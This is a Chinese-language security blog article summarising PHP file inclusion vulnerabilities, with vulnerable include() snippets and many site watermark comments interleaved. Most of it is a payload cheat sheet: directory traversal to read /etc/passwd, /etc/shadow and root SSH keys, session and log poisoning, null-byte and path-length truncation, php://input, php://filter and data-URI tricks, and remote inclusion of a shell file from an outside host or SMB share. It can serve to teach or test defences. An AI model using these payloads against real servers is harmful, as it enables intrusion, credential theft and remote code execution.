安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WEB安全 > PHP文件包含漏洞总结

PHP文件包含漏洞总结

时间:2017-01-23来源:未知 作者:安云网点击:
0x00 前言 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于 传入的文件名没有经过合理的校验 ,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 最常见的就属于 本地文件包含 (Loca

0x00 前言


PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 //ANYUN.ORG

coding_1

//本文来自安云网

最常见的就属于本地文件包含(Local File Inclusion)漏洞了。

//copyright AnYun.ORG

我们来看下面一段index.php代码:

//内容来自安云网

if ($_GET['func']) {
   include $_GET['func'];
} else {
   include 'default.php';
} //内容来自AnYun.ORG 

 

//内容来自安云网

程序的本意可能是当提交url为http://example.com/index.php?func=add.php时,调用add.php里面的样式内容和功能。直接访问http://example.com/index.php则会包含默认的default.php //内容来自AnYun.ORG

那么问题来了,如果我们提交http://example.com/index.php?func=upload/pic/evil.jpg ,且evil.jpg是由黑客上传到服务器上的一个图片,在图片的末尾添加了恶意的php代码,那么恶意的代码就会被引入当前文件执行。 //内容来自安云网

php_include_01 //本文来自安云网

  //ANYUN.ORG

如果被包含的文件中无有效的php代码,则会直接把文件内容输出。

//本文来自安云网

在接下来的内容中会以代码样本作为例子,来给大家介绍各种奇葩猥琐的利用姿势。

//内容来自AnYun.ORG

  //copyright AnYun.ORG

0x01 普通本地文件包含


<?php include("inc/" . $_GET['file']); ?> 
//安云网咨询系统

  //安云网,anyun.org

  • 包含同目录下的文件:
    ?file=.htaccess //安云网,anyun.org

  • 目录遍历: //本文来自安云网

?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db //ANYUN.ORG

(linux中这两个文件储存着所有文件的路径,需要root权限) //内容来自安云网

  • 包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志) //内容来自AnYun.ORG

  • 获取web目录或者其他配置文件: //本文来自安云网

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf //安云网,anyun.org

(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout) //安云网,anyun.org

  • 包含上传的附件:

    //ANYUN.ORG

?file=../attachment/media/xxx.file

//本文来自安云网

  • 读取session文件: //内容来自安云网

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7 //ANYUN.ORG

(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)

//安云网,anyun.org

  • 如果拥有root权限还可以试试读这些东西: //内容来自安云网

/root/.ssh/authorized_keys //copyright AnYun.ORG

/root/.ssh/id_rsa //本文来自安云网

/root/.ssh/id_rsa.keystore

//本文来自安云网

/root/.ssh/id_rsa.pub //本文来自安云网

/root/.ssh/known_hosts //安云网,anyun.org

/etc/shadow

//copyright AnYun.ORG

/root/.bash_history //内容来自AnYun.ORG

/root/.mysql_history

//ANYUN.ORG

/proc/self/fd/fd[0-9]* (文件标识符)

//安云网,anyun.org

/proc/mounts

//内容来自AnYun.ORG

/proc/config.gz

//安云网,anyun.org

  • 如果有phpinfo可以包含临时文件: //本文来自安云网

参见http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el

//内容来自安云网

  //内容来自安云网

0x02 有限制的本地文件包含


<?php include("inc/" . $_GET['file'] . ".htm"); ?> //内容来自安云网 

 

//内容来自安云网

  • %00截断: //本文来自安云网

?file=../../../../../../../../../etc/passwd%00 //安云网咨询系统

(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

//安云网咨询系统

  • %00截断目录遍历: //内容来自安云网

?file=../../../../../../../../../var/www/%00

//copyright AnYun.ORG

(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

//copyright AnYun.ORG

  • 路径长度截断:

    //安云网咨询系统

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././. //内容来自安云网

(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

//本文来自安云网

  • 点号截断: //copyright AnYun.ORG

?file=../../../../../../../../../boot.ini/………[…]…………

//安云网,anyun.org

(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

//安云网咨询系统

0x03 普通远程文件包含


<?php include($_GET['file']); ?> 
//安云网,anyun.org

  //ANYUN.ORG

  • 远程代码执行:

    //内容来自AnYun.ORG

?file=[http|https|ftp]://example.com/shell.txt

//本文来自安云网

(需要allow_url_fopen=On并且 allow_url_include=On)

//内容来自AnYun.ORG

  • 利用php流input:

    //安云网咨询系统

?file=php://input //本文来自安云网

(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)

//copyright AnYun.ORG

  • 利用php流filter:

    //内容来自AnYun.ORG

?file=php://filter/convert.base64-encode/resource=index.php //本文来自安云网

(同上) //copyright AnYun.ORG

  • 利用data URIs:

    //copyright AnYun.ORG

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= //copyright AnYun.ORG

(需要allow_url_include=On)

//本文来自安云网

  • 利用XSS执行任意代码: //copyright AnYun.ORG

?file=http://127.0.0.1/path/xss.php?xss=phpcode //内容来自AnYun.ORG

(需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -) //copyright AnYun.ORG

0x04 有限制的远程文件包含


<?php include($_GET['file'] . ".htm"); ?> 
//本文来自安云网

  //安云网咨询系统

  • ?file=http://example.com/shell

    //内容来自AnYun.ORG

  • ?file=http://example.com/shell.txt? //ANYUN.ORG

  • ?file=http://example.com/shell.txt%23 //ANYUN.ORG

(需要allow_url_fopen=On并且allow_url_include=On)

//内容来自AnYun.ORG

  • ?file=\evilshare\shell.php (只需要allow_url_include=On)

    //ANYUN.ORG

0x05 延伸


其实在前面也说了,这些漏洞产生原因是PHP函数在引入文件时,传入的文件名没有经过合理的校验,从而操作了预想之外的文件。实际上我们操作文件的函数不只是include()一个,上面提到的一些截断的方法同样可以适用于以下函数: //本文来自安云网

php_include_02

//本文来自安云网

  //安云网咨询系统

参考文章:

//ANYUN.ORG

http://websec.wordpress.com/2009/11/28/freebsd-directory-listing-with-php-file-functions/

//ANYUN.ORG

http://www.digininja.org/blog/when_all_you_can_do_is_read.php //内容来自AnYun.ORG

http://wiki.apache.org/httpd/DistrosDefaultLayout

//内容来自安云网

http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/

//ANYUN.ORG

http://www.coresec.org/2011/05/12/local-file-inclusion-to-remote-command-execution-using-ssh/ //内容来自安云网

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

//安云网咨询系统

http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/ //内容来自安云网

http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/

//安云网,anyun.org


//安云网咨询系统

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容